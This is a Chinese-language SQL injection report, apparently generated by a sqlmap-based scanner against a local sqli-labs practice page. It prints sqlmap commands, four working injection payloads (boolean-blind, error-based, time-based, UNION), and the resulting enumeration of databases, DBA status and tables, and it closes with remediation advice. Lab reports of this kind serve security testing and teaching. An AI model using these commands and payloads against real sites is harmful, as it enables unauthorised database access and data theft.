基本信息

漏洞类型：SQL注入漏洞

漏洞等级：高危

厂商信息：此处需要手动搜索

漏洞简述

漏洞描述

即当应用程序使用输入内容来构造动态SQL语句以访问数据库时，如果对输入的参数没有进行严格的过滤或者过滤不完整将会导致SQL注入攻击的产生。

漏洞危害

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息，包括数据库账号密码信息，甚至可上传木马，从而控制服务器。

漏洞详情

网站漏洞报表

注入网址:http://127.0.0.1/sqli/Less-1/?id=2

执行命令:python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=2 --random-agent --dbs --current-user --current-db --is-db

注入参数(方式) : id (GET)  
 注入方式 : boolean-based blind  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
 注入攻击 : id=2' AND 3623=3623 AND 'vBUq'='vBUq  
  
 注入方式 : error-based  
 注入标题 : MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
 注入攻击 : id=2' AND (SELECT 5851 FROM(SELECT COUNT(\*),CONCAT(0x7178766a71,(SELECT (ELT(5851=5851,1))),0x7170716271,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a) AND 'HBlq'='HBlq  
  
 注入方式 : time-based blind  
 注入标题 : MySQL >= 5.0.12 AND time-based blind  
 注入攻击 : id=2' AND SLEEP(5) AND 'jnma'='jnma  
  
 注入方式 : UNION query  
 注入标题 : Generic UNION query (NULL) - 3 columns  
 注入攻击 : id=-5710' UNION ALL SELECT NULL,CONCAT(0x7178766a71,0x5579635356547777547a496e745a4b537a4c475346664a65766a774f53474b5874474a4445797046,0x7170716271),NULL-- ekrc

数据库类型 : MySQL  
服务器版本 : Windows  
服务器语言 : Apache 2.4.23, PHP 5.5.38  
数据库版本 : MySQL >= 5.0

网站信息报表

百度权重 获取失败

网站主页 http://127.0.0.1

网站描述

网站标题 http://127.0.0.1

IP\_\_坐标 本地计算机

所属\_\_IP 127.0.0.1

网站年龄 点击查询

备案编号 暂无信息

备案性质 暂无信息

备案名称 暂无信息

备案时间 暂无信息

百度收录 --

协议类型 HTTP/1.1 200 OK

页面类型 text/html

服务类型 Microsoft-IIS/7.5

程序语言 暂无信息

网站漏洞复现

执行命令

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=2 --random-agent --dbs --current-user --current-db --is-db

返回结果

\_\_\_  
 \_\_H\_\_  
 \_\_\_ \_\_\_["]\_\_\_\_\_ \_\_\_ \_\_\_ {1.3.5.109#dev}  
|\_ -| . [.] | .'| . |  
|\_\_\_|\_ [,]\_|\_|\_|\_\_,| \_|  
 |\_|V... |\_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[\*] starting @ 16:57:21 /2019-06-01/  
  
[16:57:21] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; es-es) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8' from file 'C:\CODE\个人作品源代码\GET\_SQL\ExtrAct-SQL\_0.3[sqlmap高版本]\sqlmap\txt\user-agents.txt'  
[16:57:22] [INFO] resuming back-end DBMS 'mysql'   
[16:57:22] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: id (GET)  
 Type: boolean-based blind  
 Title: AND boolean-based blind - WHERE or HAVING clause  
 Payload: id=2' AND 3623=3623 AND 'vBUq'='vBUq  
  
 Type: error-based  
 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
 Payload: id=2' AND (SELECT 5851 FROM(SELECT COUNT(\*),CONCAT(0x7178766a71,(SELECT (ELT(5851=5851,1))),0x7170716271,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a) AND 'HBlq'='HBlq  
  
 Type: time-based blind  
 Title: MySQL >= 5.0.12 AND time-based blind  
 Payload: id=2' AND SLEEP(5) AND 'jnma'='jnma  
  
 Type: UNION query  
 Title: Generic UNION query (NULL) - 3 columns  
 Payload: id=-5710' UNION ALL SELECT NULL,CONCAT(0x7178766a71,0x5579635356547777547a496e745a4b537a4c475346664a65766a774f53474b5874474a4445797046,0x7170716271),NULL-- ekrc  
---  
[16:57:22] [INFO] the back-end DBMS is MySQL  
web server operating system: Windows  
web application technology: Apache 2.4.23, PHP 5.5.38  
back-end DBMS: MySQL >= 5.0  
[16:57:22] [INFO] fetching current user  
current user: 'root@127.0.0.1'  
[16:57:22] [INFO] fetching current database  
current database: 'security'  
[16:57:22] [INFO] testing if current user is DBA  
[16:57:22] [INFO] fetching current user  
current user is DBA: True  
[16:57:22] [INFO] fetching database names  
[16:57:22] [INFO] used SQL query returns 18 entries  
[16:57:22] [INFO] resumed: 'information\_schema'  
[16:57:22] [INFO] resumed: '娴嬭瘯'  
[16:57:22] [INFO] resumed: 'challenges'  
[16:57:22] [INFO] resumed: 'dvwa'  
[16:57:22] [INFO] resumed: 'dwvs'  
[16:57:22] [INFO] resumed: 'lang\_cms\_finds'  
[16:57:22] [INFO] resumed: 'langzi\_scan'  
[16:57:22] [INFO] resumed: 'langzi\_scan\_1'  
[16:57:22] [INFO] resumed: 'langzi\_scan\_2'  
[16:57:22] [INFO] resumed: 'langzi\_scan\_3'  
[16:57:22] [INFO] resumed: 'langzii\_eyes'  
[16:57:22] [INFO] resumed: 'mysql'  
[16:57:22] [INFO] resumed: 'performance\_schema'  
[16:57:22] [INFO] resumed: 'phpmyadmin'  
[16:57:22] [INFO] resumed: 'pikachu'  
[16:57:22] [INFO] resumed: 'security'  
[16:57:22] [INFO] resumed: 'test'  
[16:57:22] [INFO] resumed: 'wenda\_anwsion\_com'  
available databases [18]:  
[\*] challenges  
[\*] dvwa  
[\*] dwvs  
[\*] information\_schema  
[\*] lang\_cms\_finds  
[\*] langzi\_scan  
[\*] langzi\_scan\_1  
[\*] langzi\_scan\_2  
[\*] langzi\_scan\_3  
[\*] langzii\_eyes  
[\*] mysql  
[\*] performance\_schema  
[\*] phpmyadmin  
[\*] pikachu  
[\*] security  
[\*] test  
[\*] wenda\_anwsion\_com  
[\*] 娴嬭瘯  
  
[16:57:22] [INFO] fetched data logged to text files under 'C:\Users\langzi\AppData\Local\sqlmap\output\127.0.0.1'  
  
[\*] ending @ 16:57:22 /2019-06-01/

敏感数据

注入参数(方式) : id (GET)  
 注入方式 : boolean-based blind  
 注入标题 : AND boolean-based blind - WHERE or HAVING clause  
 注入攻击 : id=2' AND 3623=3623 AND 'vBUq'='vBUq  
  
 注入方式 : error-based  
 注入标题 : MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
 注入攻击 : id=2' AND (SELECT 5851 FROM(SELECT COUNT(\*),CONCAT(0x7178766a71,(SELECT (ELT(5851=5851,1))),0x7170716271,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a) AND 'HBlq'='HBlq  
  
 注入方式 : time-based blind  
 注入标题 : MySQL >= 5.0.12 AND time-based blind  
 注入攻击 : id=2' AND SLEEP(5) AND 'jnma'='jnma  
  
 注入方式 : UNION query  
 注入标题 : Generic UNION query (NULL) - 3 columns  
 注入攻击 : id=-5710' UNION ALL SELECT NULL,CONCAT(0x7178766a71,0x5579635356547777547a496e745a4b537a4c475346664a65766a774f53474b5874474a4445797046,0x7170716271),NULL-- ekrc

数据库类型 : MySQL  
服务器版本 : Windows  
服务器语言 : Apache 2.4.23, PHP 5.5.38  
数据库版本 : MySQL >= 5.0

当前用户: 'root@127.0.0.1'

当前数据库: 'security'

是否有DBA权限: True

所有数据库:

[\*] challenges  
[\*] dvwa  
[\*] dwvs  
[\*] information\_schema  
[\*] lang\_cms\_finds  
[\*] langzi\_scan  
[\*] langzi\_scan\_1  
[\*] langzi\_scan\_2  
[\*] langzi\_scan\_3  
[\*] langzii\_eyes  
[\*] mysql  
[\*] performance\_schema  
[\*] phpmyadmin  
[\*] pikachu  
[\*] security  
[\*] test  
[\*] wenda\_anwsion\_com  
[\*] 娴嬭瘯

执行命令

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=2 -D security --tables --random-agent

返回结果

\_\_\_  
 \_\_H\_\_  
 \_\_\_ \_\_\_[,]\_\_\_\_\_ \_\_\_ \_\_\_ {1.3.5.109#dev}  
|\_ -| . [(] | .'| . |  
|\_\_\_|\_ [']\_|\_|\_|\_\_,| \_|  
 |\_|V... |\_| http://sqlmap.org  
  
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program  
  
[\*] starting @ 16:57:28 /2019-06-01/  
  
[16:57:28] [INFO] fetched random HTTP User-Agent header value 'Opera/8.50 (Windows NT 4.0; U; zh-cn)' from file 'C:\CODE\个人作品源代码\GET\_SQL\ExtrAct-SQL\_0.3[sqlmap高版本]\sqlmap\txt\user-agents.txt'  
[16:57:29] [INFO] resuming back-end DBMS 'mysql'   
[16:57:29] [INFO] testing connection to the target URL  
sqlmap resumed the following injection point(s) from stored session:  
---  
Parameter: id (GET)  
 Type: boolean-based blind  
 Title: AND boolean-based blind - WHERE or HAVING clause  
 Payload: id=2' AND 3623=3623 AND 'vBUq'='vBUq  
  
 Type: error-based  
 Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
 Payload: id=2' AND (SELECT 5851 FROM(SELECT COUNT(\*),CONCAT(0x7178766a71,(SELECT (ELT(5851=5851,1))),0x7170716271,FLOOR(RAND(0)\*2))x FROM INFORMATION\_SCHEMA.PLUGINS GROUP BY x)a) AND 'HBlq'='HBlq  
  
 Type: time-based blind  
 Title: MySQL >= 5.0.12 AND time-based blind  
 Payload: id=2' AND SLEEP(5) AND 'jnma'='jnma  
  
 Type: UNION query  
 Title: Generic UNION query (NULL) - 3 columns  
 Payload: id=-5710' UNION ALL SELECT NULL,CONCAT(0x7178766a71,0x5579635356547777547a496e745a4b537a4c475346664a65766a774f53474b5874474a4445797046,0x7170716271),NULL-- ekrc  
---  
[16:57:29] [INFO] the back-end DBMS is MySQL  
web server operating system: Windows  
web application technology: Apache 2.4.23, PHP 5.5.38  
back-end DBMS: MySQL >= 5.0  
[16:57:29] [INFO] fetching tables for database: 'security'  
[16:57:29] [INFO] used SQL query returns 4 entries  
[16:57:29] [INFO] resumed: 'emails'  
[16:57:29] [INFO] resumed: 'referers'  
[16:57:29] [INFO] resumed: 'uagents'  
[16:57:29] [INFO] resumed: 'users'  
Database: security  
[4 tables]  
+----------+  
| emails |  
| referers |  
| uagents |  
| users |  
+----------+  
  
[16:57:29] [INFO] fetched data logged to text files under 'C:\Users\langzi\AppData\Local\sqlmap\output\127.0.0.1'  
  
[\*] ending @ 16:57:29 /2019-06-01/

敏感数据

当前数据库下存在如下表

Database: security  
[4 tables]  
+----------+  
| emails |  
| referers |  
| uagents |  
| users |  
+----------+

复现完成，验证存在SQL注入漏洞

修复建议

代码原理防护

1.对用户的输入进行严格过滤，包括所有的参数，URL和HTTP头部等所有需要传给数据库的数据。  
 包括但不限于以下字符及字符串  
 select and or like regxp from where update exec order by having drop delete ( ) [ ] < > , . ; : ' " # % + - \_ = / \* @  
 2.预编译SQL语句，而不要动态组装SQL语句，否则必须确保在使用输入的数据组装成SQL语句之前，对特殊字符进行预处理。  
 3.以最小权限执行SQL语句

安全防火墙防护

1.安装网站防火墙  
 2.接入云WAF